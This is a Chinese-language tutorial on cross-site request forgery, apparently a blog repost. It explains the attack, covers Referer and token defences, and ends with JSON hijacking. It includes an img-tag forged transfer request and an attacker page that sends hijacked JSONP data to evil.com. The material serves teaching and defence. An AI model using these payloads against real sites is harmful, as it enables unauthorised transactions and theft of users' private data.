跨站请求伪造CSRF

1 CSRF攻击简介

 
1.1 什么是CSRF 
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。尽管听起来像跨站脚本(XSS), 但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击
相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。 


1.2 CSRF可以做什么 
你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账…造成的问题包括:个人隐私泄露以及财产安全。 

1.3 CSRF漏洞现状 
CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出 CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度HI…而现 在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”。 

2 、CSRF的攻击原理

 
2.1 CSRF攻击原理 
CSRF攻击原理如下图所示: 

 

图中Browse是浏览器,WebServerA是受信任网站/被攻击网站A,WebServerB是恶意网站/攻击网站B。 
(1),用户打开浏览器,访问受信任网站A,输入用户名和密码登陆请求登陆网站A。 
(2),网站A验证用户信息,用户信息通过验证后,网站A产生Cookie信息并返回给浏览器。 
(3),用户登陆网站A成功后,可以正常请求网站A。 
(4),用户未退出网站A之前,在同一浏览器中,打开一个TAB访问网站B。 
(5),网站B接受到用户请求后,返回一些攻击性代码。 
(6),浏览器在接受到这些攻击性代码后,促使用户不知情的情况下浏览器携带Cookie(包括sessionId)信息,请求网站A。这种请求有可能删除,更新等操作。 

从上面CSRF攻击原理可以看出,要完成一次CSRF攻击,需要被攻击者完成两个步骤: 
1, 登陆受信任网站A,并在本地生成COOKIE。 
2, 在不登出A的情况下,访问危险网站 B。 
看到这里,你也许会说:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生: 
1.你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。 
2.你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了…) 
3.上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。 

2.2 CSRF攻击实例 
CSRF 攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在并未授权的情况下执行在权限保护之下的操作。 
比如说,受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求 
http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 
可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。 
黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行: 
http://bank.example/withdraw?account=bob& amount=1000000&for=Mallory。 
但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。 
这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: 
<img src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory” /> 
并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的
session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。 


3、CSRF的分类

作用范围内的威胁:我们按照产生危害的大小将此部分分成三种不同的危害模型。

1、论坛可交互的地方。很多网站,比如论坛允许用户自定义有限种类的内容。举例来说,通常情况下,网站允许用户提交一些被动的如图像或链接等内容。如果攻击者让图像的url指向一个恶意的地址,那么本次网络请求很有可能导致CSRF攻击。这些地方都可以发起请求,但这些请求不能自定义HTTP header,而且必须使用GET方法。尽管HTTP协议规范要求请求不能带有危害,但是很多网站并不符合这一要求。

2、Web攻击者。在这里web攻击者的定义是指有自己的独立域名的恶意代理,比如attacker.com,并且拥有attacker.com的HTTPS证书和web服务器。所有的这些功能只需要花10美元即可以做到。一旦用户访问attacker.com,攻击者就可以同时用GET和POST方法发起跨站请求,即为CSRF攻击。

3、网络攻击者。这里的网络攻击者指的是能控制用户网络连接的恶意代理。比如,攻击者可以通过控制无线路由器或者DNS服务器来控制用户的网络连接。这种攻击比web攻击需要更多的资源和准备,但我们认为这对HTTPS站点也有威胁。因为HTTPS站点只能防护有源网络。

4 、CSRF的防御策略

在业界目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。下面就分别对这三种策略进行详细介绍。

4.1 验证HTTP Referer字段
根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000& for=Mallory,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL,通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。
这种方法的显而易见的好处就是简单易行,网站的普通开发人员不需要操心 CSRF 的漏洞,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。
然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不安全。事实上,对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以篡改 Referer 值。如果 bank.example 网站支持 IE6 浏览器,黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址,这样就可以通过验证,从而进行 CSRF 攻击。
即便是使用最新的浏览器,黑客无法篡改 Referer 值,这种方法仍然有问题。因为 Referer 值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权,特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此,用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时,网站会因为请求没有 Referer 值而认为是 CSRF 攻击,拒绝合法用户的访问。
这种方法在浏览器兼容方面也存在很大的问题,FF浏览器在向服务器发送请求时,http头信息中能自带referer字段信息,但是IE浏览器就不一定了,在IE浏览器中有些请求是不会在http头信息中携带referer字段信息,如请求用js进行跳转,在IE下不能记录referer,但在ff下是可以的。如下:

4.2 请求中添加Token
CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上 ,这样就把 token 以参数的形式加入请求了。但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。
该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token,黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使这个 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。

4.3 在HTTP头中自定义属性并验证
这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。
然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏 等操作,给用户带来不便。另外,对于没有进行 CSRF 防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。

CSRF攻击方式

(1)HTML CSRF攻击:

即利用HTML元素发出GET请求(带src属性的HTML标签都可以跨域发起GET请求),如:

#!html
<link href="…">
<img src="…">
<iframe src="…">
<meta http-equiv="refresh" content="0; url=…">
<script src="…">
<video src="…">
<audio src="…">
<a href="…">
<table background="…">
…

若要构造POST请求,则必须用表单提交的方式。另外,这些标签也可以用JavaScript动态生成,如:

#!html
<script>
    new Image().src = 'http://www.goal.com/…';
</script>

(2)JSON HiJacking攻击:

为了了解这种攻击方式,我们先看一下Web开发中一种常用的跨域获取数据的方式:JSONP。

先说一下JSON吧,JSON是一种数据格式,主要由字典(键值对)和列表两种存在形式,并且这两种形式也可以互相嵌套,非常多的应用于数据传输的过程中。由于JSON的可读性强,并且很适合JavaScript这样的语言处理,已经取代XML格式成为主流。

JSONP(JSON with Padding)是一个非官方的协议,是Web前端的JavaScript跨域获取数据的一种方式。我们知道,JavaScript在读写数据时受到同源策略的限制,不可以读写其他域的数据,于是大家想出了这样一种办法:

前端html代码:

#!html
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
    function jsonpCallback(result) { 
        alert(result.a); 
        alert(result.b);
        alert(result.c); 
        for(var i in result) { 
            alert(i+":"+result[i]);//循环输出a:1,b:2,etc. 
        } 
    } 
</script> 
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>

后端的php代码:

#!php
<?php 
//服务端返回JSON数据 
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5); 
$result=json_encode($arr); 
//echo $_GET['callback'].'("Hello,World!")'; 
//echo $_GET['callback']."($result)";
//动态执行回调函数 
$callback=$_GET['callback']; 
echo $callback."($result)";
?>

可以看到,前端先是定义了jsonpCallback函数来处理后端返回的JSON数据,然后利用script标签的src属性跨域获取数据(前面说到带src属性的html标签都可以跨域),并且把刚才定义的回调函数的名称传递给了后端,于是后端构造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函数调用过程返回到前端执行,达到了跨域获取数据的目的。

一句话描述JSONP:前端定义函数却在后端完成调用然后回到前端执行!

明白了JSONP的调用过程之后,我们可以想象这样的场景:

当用户通过身份认证之后,前端会通过JSONP的方式从服务端获取该用户的隐私数据,然后在前端进行一些处理,如个性化显示等等。这个JSONP的调用接口如果没有做相应的防护,就容易受到JSON HiJacking的攻击。

就以上面讲JSONP的情景为例,攻击者可以构造以下html页面:

#!html
<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
    function hijack(result) { 
        var data = '';
        for(var i in result) {
            data += i + ':' + result[i];
        }
        new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把数据发送到攻击者服务器上
    } 
</script> 
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
</html>

可以看到,攻击者在页面中构造了自己的回调函数,把获取的数据都发送到了自己的服务器上。如果受害者在已经经过身份认证的情况下访问了攻击者构造的页面,其隐私将暴露无疑。

猜你喜欢

转载自blog.csdn.net/weixin_39157582/article/details/86659115